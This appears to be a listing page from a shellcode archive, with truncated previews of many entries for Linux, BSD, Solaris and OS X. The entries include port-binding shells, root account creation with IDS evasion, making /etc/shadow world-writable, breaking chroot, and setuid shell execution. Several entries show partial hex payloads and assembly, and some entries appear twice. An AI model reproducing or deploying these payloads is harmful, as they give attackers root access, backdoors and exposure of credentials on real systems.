linux/x86 eject /dev/cdrom 64 bytes

No description provided by source. / CDROM EJECTING CODE by lamagra .data .globl main .type main,@function start: setreuid 0, 0 xorl %eax,%eax xorl %ebx,%ebx xorl %ecx,%ecx xorl %edx,%edx movb $70,%al int $0x80 jmp 0x21 popl %esi movb %edx,10%esi leal %esi, %ebx open"/dev/cdrom",...

linux/x86 ipchains -F 49 bytes

No description provided by source. include stdio.h include string.h / asm" sub $0x4,%esp Con esto conseguimos que la shellcode nunca se popl %esp sobreescriba... gracias RaiSe : xorl %edx,%edx %edx a cero pushl %edx y ponemos los zeros del final del string en memoria pushw $0x462d tenemos -F0000...

solaris/SPARC portbind port 6789 228 bytes

No description provided by source. / Solaris shellcode - connects /bin/sh to a port Claes M. Nyberg 20020624 [email protected], [email protected] / include string.h / void mainvoid asm" ! Server address xor %l1, %l1, %l1 ! l1 = 0 st %l1, %sp - 12 ! 0 = INADDRANY mov 0x2, %l1 ! AFINET sth...

linux/x86 symlink . /bin/sh 32 bytes

linux/x86 symlink . /bin/sh 32 bytes. Shellcode exploit for linx86 platform /The shellcode calls the symlink and makes the link to the /bin/sh in the current dir. short version size = 32 bytes OS = BSD written by /rootteam/dev0id www.sysworld.net [email protected] BITS 32 jmp short callme mai...

os-x/PPC simple write() 75 bytes

No description provided by source. / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does write; exit; See ASM below. 75 Bytes. / char shellcode = "\x7c\x63\x1a\x79\x40\x82\xff\xfd" "\x7f\xe8\x02\xa6\x39\x40\x01\x70" "\x38\x6a\xfe\x91\x38\x9f\x01\x38" "\x38\x84\xfe\xf4\x38\xaa\xfe\xa7"...

bsd/x86 execve /bin/sh setuid (0) 29 bytes

No description provided by source. / BSD version FreeBSD, OpenBSD, NetBSD. [email protected] 29 bytes. -setuid0; -execve/bin/sh; / char shellcode= "\x31\xc0" // xor %eax,%eax "\x50" // push %eax "\xb0\x17" // mov $0x17,%al "\x50" // push %eax "\xcd\x80" // int $0x80 "\x50" // push %eax...

bsd/x86 break chroot 45 bytes

No description provided by source. / BSD version FreeBSD, OpenBSD, NetBSD. [email protected] 45 bytes. -break chrooted / char shellcode= "\x68\x62\x2e\x2e\x2e" / pushl $0x2e2e2e62 / "\x89\xe7" / movl %esp,%edi / "\x33\xc0" / xorl %eax,%eax / "\x88\x47\x03" / movb %al,0x3%edi / "\x57" /...

linux/x86 symlink . /bin/sh 32 bytes

No description provided by source. /The shellcode calls the symlink and makes the link to the /bin/sh in the current dir. short version size = 32 bytes OS = BSD written by /rootteam/dev0id www.sysworld.net [email protected] BITS 32 jmp short callme main: pop esi xor eax,eax mov byte esi+7,al...

linux/x86 portbind port 5074 toupper 226 bytes

No description provided by source. / Bindshell puerto 5074 TOUPPER EVASION 226 bytes Bindshell original: Matias Sedalo 92 bytes La binshell esta codificada usando 2 bytes para representar 1 byte original de la siguiente forma: byte original: 0xAB 0x41 + 0xA = 0x4B; 0x41 + 0xB = 0x4C byte...

openbsd/x86 add user w00w00 112 bytes

openbsd/x86 add user w00w00 112 bytes. Shellcode exploit for openbsdx86 platform include char shell= "\xeb\x2b\x5e\x31\xc0\x88\x46\x0b" "\x88\x46\x29\x50\xb0\x09\x50\x31" "\xc0\x56\x50\xb0\x05\xcd\x80\x89" "\xc3\x6a\x1d\x8d\x46\x0c\x50\x53" "\x50\x31\xc0\xb0\x04\xcd\x80\x31"...

linux/x86 execve /bin/sh alphanumeric 392 bytes

linux/x86 execve /bin/sh alphanumeric 392 bytes. Shellcode exploit for linx86 platform / Linux/x86 execve of /bin/sh you can put 0-200 nops before shellcode nop = 0x47 = 'G' / char shellc = // nops here .. "LLLLXPY3E01E01u03u0fXh8eshXf5VJPfhbifhDefXf5AJfPDTYhKATYX5KATY"...

freebsd/x86 chown 0:0 chmod 6755 & execve /tmp/sh 44 bytes

No description provided by source. / FreeBSD shellcode chown"/tmp/sh", 0, 0; chmod"/tmp/sh", 06755; 44 bytes Claes M. Nyberg 20020209 [email protected], [email protected] / / void mainvoid asm" xor %eax, %eax eax = 0 pushl %eax string ends with NULL pushl $0x68732f2f push 'hs//' //sh push...

bsd/x86 execve /bin/sh Crypt /bin/sh 49 bytes

No description provided by source. / Self decripting dec/inc shellcode executes /bin/sh Size 49 bytes OS BSD /rootteam/dev0id www.sysworld.net [email protected] BITS 32 jmp short shellcode main: pop esi xor ecx,ecx mov cl,28 maindecript: inc byte esi+ecx loop maindecript inc byte esi push esi...

linux/x86 add user t00r ENCRYPT 116 bytes

No description provided by source. / !!!!!! ANTI IDS SHELLCODE !!!!!! [email protected] 0x14abril0x7d2 !!!!! ENCRIPTADA !!!!! 116 bytes Agrega la linea "t00r::0:0::/:/bin/sh" en /etc/passwd !!!!! ENCRIPTADA !!!!! Para mas informacion Descargue...

linux/x86 chmod 666 /etc/shadow 82 bytes

linux/x86 chmod 666 /etc/shadow 82 bytes. Shellcode exploit for linx86 platform / [email protected] Usando execve y un array de punteros include main char name4; name0="/bin/chmod"; name1="666"; name2="/etc/shadow"; name3=NULL; execvename0,name,NULL; / include char shellcode= "\xeb\x31" /...

linux/x86 add user t00r ENCRYPT 116 bytes

Exploit for linux/x86 platform in category shellcode ========================================= linux/x86 add user t00r ENCRYPT 116 bytes ========================================= / !!!!!! ANTI IDS SHELLCODE !!!!!! email protected 0x14abril0x7d2 !!!!! ENCRIPTADA !!!!! 116 bytes Agrega la linea...

os-x/PPC create /tmp/suid 122 bytes

os-x/PPC create /tmp/suid 122 bytes. Shellcode exploit for osxppc platform / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does open; write; close; exit; See ASM below. 122 Bytes. / char shellcode = "\x7c\xa5\x2a\x79\x40\x82\xff\xfd" "\x7f\xe8\x02\xa6\x39\x1f\x01\x71" "\x39\x08\xfe\xf4\x7c\xa8\x29\xa...

bsd/x86 execve /bin/sh ENCRYPT* 57 bytes

Exploit for bsd/x86 platform in category shellcode ======================================== bsd/x86 execve /bin/sh ENCRYPT 57 bytes ======================================== / BSD version FreeBSD, OpenBSD, NetBSD. email protected 57 bytes. -Encriptado execve/bin/sh; Para mas informacion ver...

linux/x86 eject /dev/cdrom 64 bytes

Exploit for linux/x86 platform in category shellcode =================================== linux/x86 eject /dev/cdrom 64 bytes =================================== / CDROM EJECTING CODE by lamagra .data .globl main .type main,@function start: setreuid 0, 0 xorl %eax,%eax xorl %ebx,%ebx xorl %ecx,%ec...

linux/x86 chmod 666 /etc/shadow 41 bytes

No description provided by source. / [email protected] 0x04abril0x7d2 int syschmodconst char filename, modet mode ... Utilizando la interrupcion 15chmod, asignando el octal 0666 al archivo deseado. En este caso /etc/shadow Hice unas modificaciones en el codigo y solo pude reducir la...